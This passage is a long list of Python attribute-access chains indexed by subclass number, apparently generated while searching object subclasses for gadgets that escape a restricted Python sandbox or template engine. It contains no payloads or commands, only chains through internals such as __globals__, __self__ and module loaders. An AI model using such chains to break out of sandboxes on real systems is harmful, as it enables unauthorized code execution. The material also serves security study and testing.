"Subclass 138: ..__iter__.__gt__.__self__", "Subclass 177: ..callback.__ge__.__self__", "Subclass 84: ..module_repr.__repr__.__objclass__", "Subclass 83: ..__init__.__lt__.__self__", "Subclass 84: ..module_repr.__get__.__self__", "Subclass 135: ..__init__.__repr__.__objclass__", "Subclass 183: ..__init__.__get__.__objclass__", "Subclass 81: ..__weakref__.__objclass__.__repr__", "Subclass 95: ..__iter__.__call__.__objclass__", "Subclass 107: ..encode", "Subclass 107: ..getstate.__repr__.__self__", "Subclass 185: ..tell.__call__.__self__", "Subclass 177: ..pop_all.__str__.__self__", "Subclass 94: ..__weakref__.__objclass__.get_data", "Subclass 98: .._get_spec.__reduce_ex__.__self__", "Subclass 109: ..__next__.__new__.__self__", "Subclass 93: ..create_module", "Subclass 106: ..decode.__format__.__self__", "Subclass 137: ..__get__.__class__", "Subclass 177: ..callback.__delattr__.__self__", "Subclass 185: ..__init__.__repr__.__self__", "Subclass 109: ..write.__subclasshook__.__self__", "Subclass 86: ..get_code.__self__.exec_module", "Subclass 186: ..__init__.__ne__.__self__", "Subclass 137: ..getter.__reduce_ex__.__self__", "Subclass 195: ..IO.close.__class__", "Subclass 110: ..__init__.__class__", "Subclass 172: ..__get__.__call__.__self__", "Subclass 94: ..get_data.__repr__.__self__", "Subclass 177: .._push_exit_callback.__getattribute__.__self__", "Subclass 110: ..__init_subclass__.__self__.read", "Subclass 137: ..__delete__.__reduce_ex__.__self__", "Subclass 115: ..__await__.__eq__.__self__", "Subclass 185: ..get.__init__.__self__", "Subclass 164: ..__init__.__reduce_ex__.__self__", "Subclass 97: ..find_distributions.__func__.__class__", "Subclass 110: ..readlines.__reduce_ex__.__self__", "Subclass 95: ..__len__.__repr__.__self__", "Subclass 110: ..__subclasshook__.__self__.__next__", "Subclass 110: ..readline.__getattribute__.__self__", "Subclass 83: ..__eq__.__call__.__self__", "Subclass 87: ..__exit__.__call__.__objclass__", "Subclass 133: ..__enter__.__eq__.__self__", "Subclass 87: ..__enter__.__dir__.__self__", "Subclass 94: ..__hash__.__init_subclass__.__self__", "Subclass 173: ..__init__.__format__.__self__", "Subclass 105: ..resource_path.__setattr__.__self__", "Subclass 94: ..contents", "Subclass 185: ..getwhile.__hash__.__self__", "Subclass 108: ..__init__.__dir__.__self__", "Subclass 98: .._get_spec.__init__.__self__", "Subclass 108: ..reset.__sizeof__.__self__", "Subclass 105: ..__init__.__reduce__.__self__", "Subclass 95: .._recalculate.__init_subclass__.__self__", "Subclass 98: ..__subclasshook__.__self__.find_module", "Subclass 80: ..__repr__.__get__.__self__", "Subclass 198: ..load_module.__lt__.__self__", "Subclass 174: ..__weakref__.__objclass__.__set_name__", "Subclass 108: ..__subclasshook__.__self__.__init__", "Subclass 104: ..get_filename.__get__.__objclass__", "Subclass 199: ..is_resource.__reduce__.__self__", "Subclass 184: ..append.__gt__.__self__", "Subclass 133: ..__weakref__.__objclass__.__iter__", "Subclass 109: ..__init__.__hash__.__self__", "Subclass 183: ..checklookbehindgroup.__dir__.__self__", "Subclass 138: ..send.__le__.__self__", "Subclass 96: ..__init_subclass__.__self__.is_package", "Subclass 185: ..getuntil.__str__.__self__", "Subclass 173: ..__get__.__hash__.__self__", "Subclass 175: .._recreate_cm.__reduce__.__self__", "Subclass 110: ..write.__get__.__objclass__", "Subclass 80: ..__repr__.__new__.__self__", "Subclass 109: ..__weakref__.__objclass__.readline", "Subclass 133: ..close", "Subclass 96: ..__init__.__hash__.__self__", "Subclass 94: ..contents.__le__.__self__", "Subclass 112: ..__class__.__subclasscheck__", "Subclass 95: ..__getitem__.__str__.__self__", "Subclass 173: ..__init__.__reduce_ex__.__self__", "Subclass 95: ..__init__.__eq__.__self__", "Subclass 164: ..repr_deque.__format__.__self__", "Subclass 117: ..__class_getitem__.__self__.__aiter__", "Subclass 95: .._get_parent_path.__subclasshook__.__self__", "Subclass 110: ..__init_subclass__.__self__.__enter__", "Subclass 95: ..__init__.__format__.__self__", "Subclass 135: .._Printer__setup.__lt__.__self__", "Subclass 173: ..__get__", "Subclass 189: ..__class_getitem__.__func__", "Subclass 138: ..__init__.__init__.__self__", "Subclass 98: ..find_module.__get__.__objclass__", "Subclass 174: ..__init__.__init_subclass__.__self__", "Subclass 195: ..BinaryIO.write.__class__", "Subclass 135: ..__init__.__getattribute__.__self__", "Subclass 93: ..__init_subclass__.__self__.exec_module", "Subclass 94: ..open_resource.__dir__.__self__", "Subclass 132: ..__class__.__subclasscheck__.__class__", "Subclass 95: ..__setitem__.__delattr__.__self__", "Subclass 135: ..__call__.__lt__.__self__", "Subclass 164: ..repr_instance.__dir__.__self__", "Subclass 108: ..__init__.__call__.__self__", "Subclass 131: ..__contains__.__class__", "Subclass 110: ..readline.__delattr__.__self__", "Subclass 137: ..__init__.__init_subclass__.__self__", "Subclass 199: ..resource_path.__dir__.__self__", "Subclass 140: ..__init__.__getattribute__.__self__", "Subclass 110: ..writelines.__reduce__.__self__", "Subclass 133: ..__exit__.__class__", "Subclass 94: ..load_module.__sizeof__.__self__", "Subclass 164: ..repr_deque.__eq__.__self__", "Subclass 175: ..__call__.__new__.__self__", "Subclass 164: ..repr_int.__delattr__.__self__", "Subclass 177: .._create_exit_wrapper.__ne__.__self__", "Subclass 96: ..exec_module.__sizeof__.__self__", "Subclass 96: ..get_code", "Subclass 184: ..__getitem__.__init__.__self__", "Subclass 95: .._find_parent_path_names.__sizeof__.__self__", "Subclass 86: ..exec_module.__format__.__self__", "Subclass 95: ..__repr__.__setattr__.__self__", "Subclass 184: ..append.__get__.__objclass__", "Subclass 95: .._find_parent_path_names.__getattribute__.__self__", "Subclass 134: ..__repr__.__call__.__objclass__", "Subclass 105: ..open_resource.__dir__.__self__", "Subclass 130: ..__len__.__init_subclass__.__self__", "Subclass 94: ..get_filename.__reduce__.__self__", "Subclass 138: ..__iter__.__sizeof__.__self__", "Subclass 195: ..IO.truncate.__class__", "Subclass 164: ..repr_list.__reduce_ex__.__self__", "Subclass 80: ..has_deadlock.__ne__.__self__", "Subclass 110: ..__next__.__gt__.__self__", "Subclass 184: ..__getitem__.__ge__.__self__", "Subclass 174: ..__get__.__ge__.__self__", "Subclass 177: ..pop_all.__get__.__objclass__", "Subclass 110: ..seek.__subclasshook__.__self__", "Subclass 177: ..push.__eq__.__self__", "Subclass 174: ..__get__.__init_subclass__.__self__", "Subclass 94: ..get_data.__ne__.__self__", "Subclass 110: ..writelines.__delattr__.__self__", "Subclass 94: ..load_module.__eq__.__self__", "Subclass 115: ..__await__.__delattr__.__self__", "Subclass 96: ..exec_module.__repr__.__self__", "Subclass 176: ..__init__.__repr__.__objclass__", "Subclass 95: .._find_parent_path_names.__init_subclass__.__self__", "Subclass 197: ..__class__._dump_registry.__class__", "Subclass 109: ..__exit__.__repr__.__objclass__", "Subclass 136: ..__call__.__ge__.__self__", "Subclass 199: ..__class__._abc_registry_clear", "Subclass 110: ..__weakref__.__objclass__.__exit__", "Subclass 131: ..__contains__.__sizeof__.__self__", "Subclass 81: ..__init__.__dir__.__self__", "Subclass 172: .._make_unbound_method.__init_subclass__.__self__", "Subclass 105: ..resource_path", "Subclass 195: ..TextIO.tell.__class__", "Subclass 188: ..__copy__.__call__.__self__", "Subclass 108: ..__subclasshook__.__self__.reset", "Subclass 94: ..__init__.__lt__.__self__", "Subclass 133: ..__iter__.__eq__.__self__", "Subclass 199: ..open_resource.__le__.__self__", "Subclass 95: ..__init__.__repr__.__self__", "Subclass 110: ..__getattr__.__str__.__self__", "Subclass 105: ..resource_path.__class__", "Subclass 133: ..__init__.__init_subclass__.__self__", "Subclass 188: ..__deepcopy__.__dir__.__self__", "Subclass 84: ..module_repr.__reduce_ex__.__self__", "Subclass 96: ..get_code.__ne__.__self__", 'Global func 1: ..__format__.__self__.__class__', "Subclass 139: ..__init__.__class__", "Subclass 83: ..__eq__.__hash__.__self__", 'Global func 1: ..__repr__.__self__.__class__', "Subclass 95: ..__len__.__delattr__.__self__", "Subclass 198: ..create_module.__getattribute__.__self__", "Subclass 108: ..setstate.__hash__.__self__", "Subclass 104: ..__repr__.__call__.__self__", "Subclass 138: ..throw.__dir__.__self__", "Subclass 195: ..BinaryIO.close", "Subclass 95: .._get_parent_path.__repr__.__objclass__", "Subclass 95: .._get_parent_path.__new__.__self__", "Subclass 95: ..__iter__.__le__.__self__", "Subclass 115: ..__class__.__subclasscheck__.__class__", "Subclass 94: ..contents.__delattr__.__self__", "Subclass 185: ..seek.__init__.__self__", "Subclass 184: ..__delitem__.__call__.__self__", "Subclass 183: ..closegroup.__dir__.__self__", "Subclass 95: .._find_parent_path_names.__call__.__objclass__", "Subclass 137: ..__init_subclass__.__self__.__get__", "Subclass 110: ..__exit__.__setattr__.__self__", "Subclass 109: ..__next__.__subclasshook__.__self__", "Subclass 183: ..__init__.__sizeof__.__self__", "Subclass 110: ..__init__.__ge__.__self__", "Subclass 82: ..__init_subclass__.__self__.__init__", "Subclass 80: ..has_deadlock.__get__.__self__", "Subclass 107: ..setstate", "Subclass 105: ..__weakref__.__objclass__.open_resource", "Subclass 177: ..enter_context.__repr__.__self__", "Subclass 177: ..push.__setattr__.__self__", "Subclass 134: ..__init__.__class__", "Subclass 105: ..is_resource.__format__.__self__", "Subclass 84: ..exec_module.__func__.__class__", "Subclass 130: ..__len__.__reduce__.__self__", "Subclass 172: ..__repr__.__eq__.__self__", "Subclass 134: ..__repr__.__get__.__objclass__", "Subclass 104: ..__weakref__.__objclass__.is_package", "Subclass 107: ..__init_subclass__.__self__.__init__", "Subclass 110: ..__iter__.__setattr__.__self__", "Subclass 164: ..repr_tuple.__str__.__self__", "Subclass 185: ..__init_subclass__.__self__.error", "Subclass 183: ..checkgroup.__getattribute__.__self__", "Subclass 164: ..repr_dict.__format__.__self__", "Subclass 98: ..__repr__.__delattr__.__self__", "Subclass 95: ..__setitem__.__reduce_ex__.__self__", "Subclass 137: ..__subclasshook__.__self__.__delete__", "Subclass 140: ..__enter__.__get__.__objclass__", "Subclass 84: ..__init_subclass__.__self__.module_repr", "Subclass 138: ..__iter__.__ge__.__self__", "Subclass 136: ..__call__.__lt__.__self__", 'Global func 1: ..__reduce__.__self__', "Subclass 173: ..__get__.__init__.__self__", "Subclass 172: ..__get__.__eq__.__self__", "Subclass 177: ..push.__class__", "Subclass 184: ..append.__new__.__self__", "Subclass 196: ..Pattern.__init_subclass__.__func__", "Subclass 183: ..closegroup.__format__.__self__", "Subclass 176: ..__init__.__ne__.__self__", "Subclass 164: ..__weakref__.__objclass__.repr_dict", "Subclass 184: ..dump.__reduce__.__self__", "Subclass 95: ..__repr__.__call__.__objclass__", "Subclass 104: ..get_source.__repr__.__self__", "Subclass 138: ..close.__reduce__.__self__", "Subclass 133: ..__getattr__.__repr__.__self__", "Subclass 109: ..__iter__.__str__.__self__", "Subclass 176: ..__init_subclass__.__self__.__init__", "Subclass 185: ..__init_subclass__.__self__.seek", "Subclass 104: ..load_module.__gt__.__self__", "Subclass 109: ..write.__dir__.__self__", "Subclass 135: .._Printer__setup.__le__.__self__", "Subclass 173: ..__weakref__.__objclass__.__get__", "Subclass 140: ..__weakref__.__objclass__.__repr__", "Subclass 135: .._Printer__setup.__hash__.__self__", "Subclass 39: ..__globals__.__objclass__", "Subclass 185: .._Tokenizer__next.__get__.__self__", "Subclass 135: .._Printer__setup.__reduce_ex__.__self__", "Subclass 199: ..contents.__format__.__self__", "Subclass 94: ..get_data.__call__.__objclass__", "Subclass 106: ..decode.__get__.__objclass__", "Subclass 104: ..__init_subclass__.__self__.find_module", "Subclass 110: ..__iter__.__new__.__self__", "Subclass 140: ..__init__.__eq__.__self__", "Subclass 177: ..__weakref__.__objclass__._create_cb_wrapper", "Subclass 185: ..seek.__new__.__self__", "Subclass 104: ..find_loader.__sizeof__.__self__", "Subclass 184: ..__len__.__lt__.__self__", "Subclass 184: ..__getitem__.__dir__.__self__", "Subclass 110: ..reset.__delattr__.__self__", "Subclass 86: ..exec_module.__str__.__self__", "Subclass 107: ..__init__.__gt__.__self__", "Subclass 104: ..find_loader.__eq__.__self__", "Subclass 172: .._make_unbound_method.__reduce_ex__.__self__", "Subclass 81: ..__init__.__le__.__self__", "Subclass 104: ..get_resource_reader.__str__.__self__", "Subclass 185: ..__init__.__le__.__self__", "Subclass 135: ..__repr__.__eq__.__self__", "Subclass 110: ..write.__reduce__.__self__", "Subclass 98: ..__repr__.__lt__.__self__", "Subclass 185: ..seek.__delattr__.__self__", "Subclass 119: ..__iter__.__gt__.__self__", "Subclass 138: ..throw.__repr__.__objclass__", "Subclass 105: ..is_resource.__sizeof__.__self__", "Subclass 82: ..__exit__", "Subclass 164: ..__init__.__lt__.__self__", "Subclass 110: ..readline.__subclasshook__.__self__", "Subclass 110: ..read.__subclasshook__.__self__", "Subclass 106: ..encode.__init__.__self__", "Subclass 177: .._push_exit_callback.__dir__.__self__", "Subclass 110: ..writelines.__repr__.__objclass__", "Subclass 138: ..throw.__call__.__self__", "Subclass 107: ..__weakref__.__objclass__.setstate", "Subclass 177: .._push_cm_exit.__str__.__self__", "Subclass 108: ..getstate.__delattr__.__self__", "Subclass 110: ..readline.__le__.__self__", "Subclass 133: ..__exit__.__eq__.__self__", "Subclass 96: ..load_module.__getattribute__.__self__", "Subclass 135: ..__init__.__new__.__self__", "Subclass 174: ..__set_name__.__sizeof__.__self__", "Subclass 174: ..__set_name__.__get__.__objclass__", "Subclass 139: ..__init__.__gt__.__self__", "Subclass 138: ..__init__.__ne__.__self__", "Subclass 98: ..invalidate_caches.__class__", "Subclass 110: ..read.__str__.__self__", "Subclass 107: ..reset.__call__.__objclass__", "Subclass 164: ..__init__.__eq__.__self__", "Subclass 137: ..__delete__.__call__.__self__", "Subclass 95: ..__len__.__subclasshook__.__self__", "Subclass 184: ..dump.__new__.__self__", "Subclass 172: ..__get__.__dir__.__self__", "Subclass 83: ..__repr__.__gt__.__self__", "Subclass 95: ..__contains__.__ge__.__self__", "Subclass 185: ..match.__repr__.__objclass__", "Subclass 183: ..__init_subclass__.__self__.checkgroup", "Subclass 138: ..__subclasshook__.__self__.send", "Subclass 94: ..__init__.__init__.__self__", "Subclass 39: ..__new__.__self__", "Subclass 197: ..find_module.__new__.__self__", "Subclass 93: ..is_package.__str__.__self__", "Subclass 95: ..__init_subclass__.__self__.__init__", "Subclass 108: ..getstate.__hash__.__self__", "Subclass 107: ..reset.__repr__.__self__", "Subclass 84: ..create_module.__self__.module_repr", "Subclass 82: ..__init__.__dir__.__self__", "Subclass 98: ..__repr__.__new__.__self__", "Subclass 109: ..write.__lt__.__self__", "Subclass 164: ..repr_tuple.__reduce__.__self__", "Subclass 140: ..__init__.__ge__.__self__", "Subclass 104: ..__weakref__.__objclass__.find_module", "Subclass 164: ..repr.__eq__.__self__", "Subclass 109: ..__init__.__call__.__objclass__", "Subclass 198: ..module_repr", "Subclass 96: ..get_source", "Subclass 136: ..__call__.__call__.__self__", "Subclass 86: ..create_module.__self__.module_repr", "Subclass 95: ..__getitem__.__new__.__self__", "Subclass 114: ..__class__.__subclasscheck__.__class__", "Subclass 98: ..find_module.__subclasshook__.__self__", "Subclass 104: ..get_source.__call__.__objclass__", "Subclass 173: ..__get__.__dir__.__self__", "Subclass 104: ..load_module.__new__.__self__", "Subclass 199: ..is_resource.__dir__.__self__", "Subclass 98: ..__repr__.__hash__.__self__", "Subclass 93: ..create_module.__lt__.__self__", "Subclass 87: ..__weakref__.__objclass__.__enter__", "Subclass 94: ..get_data.__lt__.__self__", "Subclass 186: ..scan.__call__.__objclass__", "Subclass 134: ..__init__.__call__.__self__", "Subclass 184: ..append.__eq__.__self__", "Subclass 185: .._Tokenizer__next.__setattr__.__self__", "Subclass 86: ..exec_module.__reduce_ex__.__self__", "Subclass 164: ..__init_subclass__.__self__.__init__", "Subclass 138: ..__await__.__getattribute__.__self__", "Subclass 140: ..__enter__.__getattribute__.__self__", "Subclass 106: ..decode.__str__.__self__", "Subclass 96: ..get_code.__setattr__.__self__", "Subclass 133: ..__exit__.__init__.__self__", "Subclass 137: ..deleter.__dir__.__self__", "Subclass 109: ..__enter__.__hash__.__self__", "Subclass 82: ..__enter__.__setattr__.__self__", "Subclass 119: ..__iter__.__sizeof__.__self__", "Subclass 104: ..__init__.__getattribute__.__self__", "Subclass 95: .._get_parent_path.__init__.__self__", "Subclass 199: ..is_resource.__repr__.__self__", "Subclass 114: ..__hash__.__reduce__.__self__", "Subclass 177: .._create_exit_wrapper.__gt__.__self__", "Subclass 183: ..closegroup.__repr__.__objclass__", "Subclass 132: ..__class__.register", "Subclass 104: ..__repr__.__le__.__self__", "Subclass 80: ..release.__reduce_ex__.__self__", "Subclass 177: ..__subclasshook__.__self__.enter_context", "Subclass 104: ..__weakref__.__objclass__.get_filename", "Subclass 96: ..create_module.__reduce__.__self__", "Subclass 96: ..get_source.__gt__.__self__", "Subclass 83: ..__repr__.__subclasshook__.__self__", "Subclass 98: ..find_module.__setattr__.__self__", "Subclass 80: ..__repr__.__repr__.__self__", "Subclass 110: ..write.__call__.__objclass__", "Subclass 96: ..__weakref__.__objclass__.get_source", "Subclass 86: ..get_code.__func__", "Subclass 195: ..BinaryIO.read", "Subclass 198: ..__class__.__new__", "Subclass 177: ..enter_context.__new__.__self__", "Subclass 94: ..open_resource.__sizeof__.__self__", "Subclass 94: ..open_resource.__gt__.__self__", "Subclass 106: ..__subclasshook__.__self__.encode", "Subclass 177: .._push_cm_exit.__sizeof__.__self__", "Subclass 194: ..__class__.__subclasscheck__.__class__", "Subclass 133: ..__enter__.__get__.__objclass__", "Subclass 108: ..__init__.__sizeof__.__self__", "Subclass 96: ..is_package.__reduce__.__self__", "Subclass 185: ..__init__.__init_subclass__.__self__", "Subclass 104: ..get_source.__format__.__self__", "Subclass 104: ..get_code.__init_subclass__.__self__", "Subclass 95: ..__repr__.__getattribute__.__self__", "Subclass 104: ..load_module.__call__.__self__", "Subclass 172: ..__get__.__call__.__objclass__", "Subclass 197: ..find_module.__eq__.__self__", "Subclass 130: ..__len__.__sizeof__.__self__", "Subclass 184: ..__setitem__.__eq__.__self__", "Subclass 109: ..__iter__.__ge__.__self__", "Subclass 98: ..__repr__.__dir__.__self__", "Subclass 94: ..is_resource.__gt__.__self__", "Subclass 199: ..contents.__hash__.__self__", "Subclass 140: ..__enter__.__str__.__self__", "Subclass 110: ..readlines.__subclasshook__.__self__", "Subclass 188: ..__deepcopy__.__get__.__objclass__", "Subclass 110: ..readline.__gt__.__self__", "Subclass 138: ..throw.__reduce__.__self__", "Subclass 110: ..__getattr__.__reduce_ex__.__self__", "Subclass 133: ..__exit__.__repr__.__objclass__", 'Global func 1: ..__class__.__get__.__objclass__', "Subclass 86: ..find_spec.__self__.module_repr", "Subclass 183: ..closegroup.__sizeof__.__self__", "Subclass 106: ..encode.__lt__.__self__", "Subclass 109: ..writelines.__reduce_ex__.__self__", "Subclass 110: ..__exit__.__reduce_ex__.__self__", "Subclass 138: ..__iter__.__init__.__self__", "Subclass 105: ..resource_path.__call__.__objclass__", "Subclass 177: ..push.__new__.__self__", "Subclass 104: ..is_package.__reduce__.__self__", "Subclass 108: ..reset.__init__.__self__", "Subclass 98: ..find_module.__call__.__self__", "Subclass 109: ..read.__getattribute__.__self__", "Subclass 184: ..__repr__.__eq__.__self__", "Subclass 86: ..find_module.__self__.module_repr", "Subclass 109: ..seek.__format__.__self__", "Subclass 185: ..match.__init__.__self__", "Subclass 177: .._create_exit_wrapper.__reduce_ex__.__self__", "Subclass 80: ..release.__setattr__.__self__", "Subclass 106: ..__weakref__.__objclass__.decode", "Subclass 133: ..__weakref__.__objclass__.__init__", "Subclass 137: ..deleter.__reduce_ex__.__self__", "Subclass 134: ..__repr__", "Subclass 105: ..resource_path.__get__.__self__", "Subclass 110: ..__exit__.__class__", "Subclass 177: ..__subclasshook__.__self__._create_exit_wrapper", "Subclass 198: ..module_repr.__init_subclass__.__self__", "Subclass 188: ..__copy__.__hash__.__self__", "Subclass 138: ..__iter__.__init_subclass__.__self__", "Subclass 177: .._create_exit_wrapper.__lt__.__self__", "Subclass 104: ..get_resource_reader.__subclasshook__.__self__", "Subclass 104: ..is_package.__gt__.__self__", "Subclass 188: ..__deepcopy__.__repr__.__self__", "Subclass 95: ..__init_subclass__.__self__._recalculate", "Subclass 94: ..resource_path.__get__.__self__", "Subclass 106: ..encode.__init_subclass__.__self__", "Subclass 81: ..__subclasshook__.__self__.acquire", "Subclass 96: ..__weakref__.__objclass__.exec_module", "Subclass 136: ..__call__.__reduce_ex__.__self__", "Subclass 174: ..__set_name__.__repr__.__objclass__", "Subclass 135: ..__call__.__repr__.__self__", "Subclass 185: ..__init__.__get__.__objclass__", "Subclass 86: ..module_repr.__ge__.__self__", "Subclass 185: ..__init__.__delattr__.__self__", "Subclass 95: ..__subclasshook__.__self__.__init__", "Subclass 96: ..__init_subclass__.__self__.exec_module", "Subclass 110: ..__enter__.__repr__.__self__", "Subclass 96: ..get_code.__new__.__self__", "Subclass 109: ..__next__.__eq__.__self__", "Subclass 83: ..__init__", "Subclass 184: ..getwidth.__reduce_ex__.__self__", "Subclass 185: ..__init__.__ne__.__self__", "Subclass 108: ..__init__.__get__.__objclass__", "Subclass 185: ..getuntil.__ne__.__self__", "Subclass 96: ..exec_module.__ne__.__self__", "Subclass 185: ..match.__repr__.__self__", "Subclass 119: ..__iter__.__delattr__.__self__", "Subclass 80: ..__repr__.__str__.__self__", "Subclass 139: ..__init__.__get__.__self__", "Subclass 109: ..__next__.__call__.__objclass__", "Subclass 199: ..contents.__gt__.__self__", "Subclass 133: ..__getattr__.__init__.__self__", "Subclass 185: ..error.__call__.__objclass__", "Subclass 188: ..__subclasshook__.__self__.__deepcopy__", "Subclass 164: ..repr_instance.__get__.__objclass__", "Subclass 109: ..__enter__.__ne__.__self__", "Subclass 82: ..__subclasshook__.__self__.__enter__", "Subclass 185: ..__init__.__repr__.__objclass__", "Subclass 183: ..opengroup", "Subclass 130: ..__class__._abc_registry_clear.__class__", "Subclass 94: ..__subclasshook__.__self__.__hash__", "Subclass 177: ..__init_subclass__.__self__._push_cm_exit", "Subclass 98: .._fill_cache.__dir__.__self__", "Subclass 186: ..scan.__reduce_ex__.__self__", "Subclass 172: ..__repr__.__le__.__self__", "Subclass 93: ..create_module.__eq__.__self__", "Subclass 130: ..__len__.__lt__.__self__", "Subclass 94: ..__subclasshook__.__self__.contents", "Subclass 109: ..__enter__.__le__.__self__", "Subclass 109: ..writelines.__get__.__self__", "Subclass 137: ..getter.__lt__.__self__", "Subclass 139: ..__str__.__reduce_ex__.__self__", "Subclass 93: ..create_module.__setattr__.__self__", "Subclass 172: .._make_unbound_method.__get__.__self__", "Subclass 137: ..deleter.__subclasshook__.__self__", "Subclass 95: ..__setitem__.__init__.__self__", "Subclass 105: ..resource_path.__getattribute__.__self__", 'Global func 0: ..__self__.__loader__.module_repr', "Subclass 104: ..load_module.__repr__.__self__", "Subclass 194: ..__class__.__subclasscheck__", "Subclass 138: ..__await__.__setattr__.__self__", "Subclass 81: ..__weakref__.__objclass__.__init__", "Subclass 137: ..__set__.__call__.__self__", "Subclass 138: ..throw.__repr__.__self__", "Subclass 109: ..__getattr__.__eq__.__self__", "Subclass 137: ..deleter.__get__.__self__", "Subclass 95: .._get_parent_path.__getattribute__.__self__", "Subclass 95: .._find_parent_path_names.__subclasshook__.__self__", "Subclass 81: ..acquire.__init__.__self__", "Subclass 94: ..get_resource_reader.__subclasshook__.__self__", "Subclass 137: ..deleter.__getattribute__.__self__", "Subclass 107: ..reset.__gt__.__self__", "Subclass 94: ..__eq__.__call__.__self__", "Subclass 173: ..__init__.__ge__.__self__", "Subclass 175: ..__call__.__setattr__.__self__", "Subclass 109: ..__getattr__.__call__.__self__", "Subclass 133: ..__getattr__.__call__.__objclass__", "Subclass 82: ..__init_subclass__.__self__.__exit__", "Subclass 138: ..close.__class__", "Subclass 199: ..__subclasshook__.__self__.is_resource", "Subclass 96: ..create_module.__eq__.__self__", "Subclass 115: ..__await__.__repr__.__self__", "Subclass 164: ..repr_list.__format__.__self__", "Subclass 80: ..__repr__.__ne__.__self__", "Subclass 109: ..writelines.__init_subclass__.__self__", "Subclass 188: ..__copy__.__get__.__self__", "Subclass 137: ..__init__.__subclasshook__.__self__", "Subclass 184: ..__setitem__.__get__.__objclass__", "Subclass 179: ..__class__.__getattr__", "Subclass 133: ..__getattr__.__dir__.__self__", "Subclass 93: ..load_module.__str__.__self__", "Subclass 164: ..repr_int.__repr__.__objclass__", "Subclass 95: ..__len__.__setattr__.__self__", "Subclass 188: ..__copy__.__init_subclass__.__self__", "Subclass 110: ..reset.__gt__.__self__", "Subclass 177: ..enter_context.__init__.__self__", "Subclass 177: .._create_exit_wrapper.__subclasshook__.__self__", "Subclass 108: ..__init__.__format__.__self__", "Subclass 107: ..setstate.__new__.__self__", "Subclass 177: .._push_cm_exit.__ne__.__self__", "Subclass 199: ..__init_subclass__.__self__.resource_path", "Subclass 184: ..__delitem__.__delattr__.__self__", "Subclass 94: ..load_module.__subclasshook__.__self__", "Subclass 199: ..__class__._abc_caches_clear", "Subclass 199: ..contents.__ge__.__self__", "Subclass 110: ..__exit__.__call__.__self__", "Subclass 184: ..__init_subclass__.__self__.insert", "Subclass 117: ..__aiter__.__le__.__self__", "Subclass 109: ..__init__.__format__.__self__", "Subclass 109: ..__subclasshook__.__self__.writelines", "Subclass 164: ..__init__.__get__.__self__", "Subclass 196: ..Pattern.__getitem__.__func__", "Subclass 104: ..get_data.__reduce_ex__.__self__", "Subclass 174: ..__init__.__ge__.__self__", "Subclass 134: ..__call__.__repr__.__objclass__", "Subclass 197: ..__class__.__new__.__class__", "Subclass 185: ..seek.__repr__.__objclass__", "Subclass 132: ..__call__.__get__.__objclass__", "Subclass 132: ..__call__.__reduce__.__self__", "Subclass 137: ..__init__.__call__.__objclass__", "Subclass 80: ..has_deadlock.__repr__.__objclass__", "Subclass 138: ..__next__.__subclasshook__.__self__", "Subclass 109: ..read.__init__.__self__", "Subclass 108: ..__init__.__get__.__self__", "Subclass 134: ..__repr__.__format__.__self__", "Subclass 177: ..callback.__call__.__objclass__", "Subclass 186: ..scan.__sizeof__.__self__", "Subclass 184: ..__init__.__delattr__.__self__", "Subclass 164: ..repr_int.__lt__.__self__", "Subclass 110: ..__subclasshook__.__self__.__exit__", "Subclass 110: ..readline.__repr__.__self__", "Subclass 109: ..__next__.__reduce_ex__.__self__", "Subclass 107: ..reset.__dir__.__self__", "Subclass 164: ..repr1.__lt__.__self__", "Subclass 110: ..__init__.__repr__.__self__", "Subclass 94: ..__hash__.__le__.__self__", "Subclass 183: ..closegroup.__delattr__.__self__", "Subclass 195: ..TextIO.readlines.__class__", "Subclass 98: ..invalidate_caches.__hash__.__self__", "Subclass 95: ..__setitem__.__lt__.__self__", "Subclass 133: ..__init__.__delattr__.__self__", "Subclass 184: ..__delitem__.__init_subclass__.__self__", "Subclass 134: ..__init__.__ge__.__self__", "Subclass 81: ..acquire.__hash__.__self__", "Subclass 119: ..__class__.register.__class__", "Subclass 98: ..__init__.__setattr__.__self__", "Subclass 173: ..__init__.__sizeof__.__self__", "Subclass 94: ..__init_subclass__.__self__.__init__", "Subclass 172: ..__repr__.__call__.__self__", "Subclass 110: ..__next__.__getattribute__.__self__", "Subclass 198: ..load_module.__gt__.__self__", 'Global func 1: ..__setattr__.__self__', "Subclass 82: ..__enter__", "Subclass 177: ..push.__hash__.__self__", "Subclass 107: ..encode.__setattr__.__self__", "Subclass 110: ..__enter__.__repr__.__objclass__", "Subclass 134: ..__repr__.__lt__.__self__", "Subclass 93: ..is_package.__class__", "Subclass 107: ..setstate.__class__", "Subclass 136: ..__call__.__ne__.__self__", "Subclass 186: ..scan.__dir__.__self__", "Subclass 164: ..__init_subclass__.__self__.repr_str", "Subclass 185: ..__init_subclass__.__self__.getuntil", "Subclass 138: ..__next__.__delattr__.__self__", "Subclass 164: ..repr_array.__format__.__self__", "Subclass 98: ..find_spec.__sizeof__.__self__", "Subclass 98: .._get_spec", "Subclass 104: ..is_package.__ge__.__self__", "Subclass 104: ..__subclasshook__.__self__.find_module", "Subclass 87: ..__enter__.__setattr__.__self__", "Subclass 108: ..getstate.__sizeof__.__self__", "Subclass 104: ..get_filename.__ge__.__self__", "Subclass 107: ..encode.__class__", "Subclass 94: ..__eq__.__reduce__.__self__", "Subclass 184: ..__setitem__.__get__.__self__", "Subclass 98: ..invalidate_caches.__new__.__self__", "Subclass 81: ..release.__reduce_ex__.__self__", "Subclass 104: ..__init_subclass__.__self__.get_data", "Subclass 98: ..find_spec.__call__.__self__", "Subclass 164: ..repr", "Subclass 175: ..__init_subclass__.__self__._recreate_cm", "Subclass 184: ..__setitem__.__format__.__self__", "Subclass 196: ..Match.__class__.__reduce__", 'Global func 1: ..__get__.__self__.__class__', "Subclass 80: ..has_deadlock.__repr__.__self__", "Subclass 82: ..__enter__.__sizeof__.__self__", "Subclass 104: ..get_source.__eq__.__self__", "Subclass 110: ..__init__", "Subclass 185: ..seek.__ne__.__self__", "Subclass 94: ..open_resource.__str__.__self__", "Subclass 109: ..write.__repr__.__self__", "Subclass 110: ..__exit__.__subclasshook__.__self__", "Subclass 96: ..__subclasshook__.__self__.get_source", "Subclass 80: ..__weakref__.__objclass__.has_deadlock", "Subclass 183: ..__subclasshook__.__self__.checkgroup", "Subclass 164: ..__init__.__setattr__.__self__", "Subclass 133: ..__iter__.__dir__.__self__", "Subclass 135: ..__init__.__reduce_ex__.__self__", "Subclass 93: ..create_module.__reduce__.__self__", "Subclass 108: ..setstate.__reduce_ex__.__self__", "Subclass 105: ..is_resource.__get__.__self__", "Subclass 134: ..__repr__.__delattr__.__self__", "Subclass 93: 